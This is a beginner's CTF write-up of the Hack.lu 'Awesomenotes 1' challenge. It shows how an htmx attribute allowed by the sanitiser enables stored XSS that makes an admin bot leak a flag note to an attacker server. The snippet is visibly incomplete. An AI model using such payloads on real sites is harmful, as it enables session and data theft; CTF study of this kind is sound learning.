Hacklu CTF Writeup

CTF Writeup for Hacklu ctf

I play CTF with a local group from Braunschweig, I am still a beginner and mostly do OSINT and Forensics, this was the first time I solved a slightly harder web challenge (but stil was considered as beginner friendly 🫠). This time we merged with another team: Red Rocket

Awesomenotes 1 (XSS Challenge)

https://flu.xxx/challenges/16, sources were provided

The webpage was a note taking website, you could take a note and upload it to their server, you were also able to use html tags for formatting, like <h1> or <br>.

who needs markdown

One note contained the flag (https://awesomenotes.online/api/note/flag), but was only accessible by the user who submitted it or the admin user. So we either need a session cookie with admin access or the session cookie of the submitter.

The website had a report function, if you report a link to a note, a bot with admin privileges would visit the note page with a headless browser.

If we could get some javascript injected into the note we could read the note and send its content to a remote url, for example to webhook.site or a hosted website with log access.

The page uses htmx a library that enables the user to use features via html tags that were only possible by using js otherwise.

The backend (rust backend) used ammonia to sanitize html input, so that xss would not happen, but they allowed all htmx tags via this code line:

1 let safe = ammonia::Builder::new()
2 .tags(hashset!["h1", "p", "div"])
3 .add_generic_attribute_prefixes(&["hx-"])
4 .clean(&body)
5 .to_string();

So every possible htmx tag was allowed, like "hx-on:htmx:load" that enables us to run arbitrary js code:

<div hx-on:htmx:load="fetch('https://awesomenotes.online/api/note/flag',
 {headers: {Cookie: 'session=abcdefg'}})
 .then((data)=> data.text())

This code fetches the note page content, encodes it to base64 and sends the resulting string to a remote host, in this case my vps. If you report this note, the bot will open the note, will be able to see the "flag" note because it is authenticated as admin, and will send the note content to my server:

Base64 encoded note

When you decode the the string again you get the note content:

Decoded note content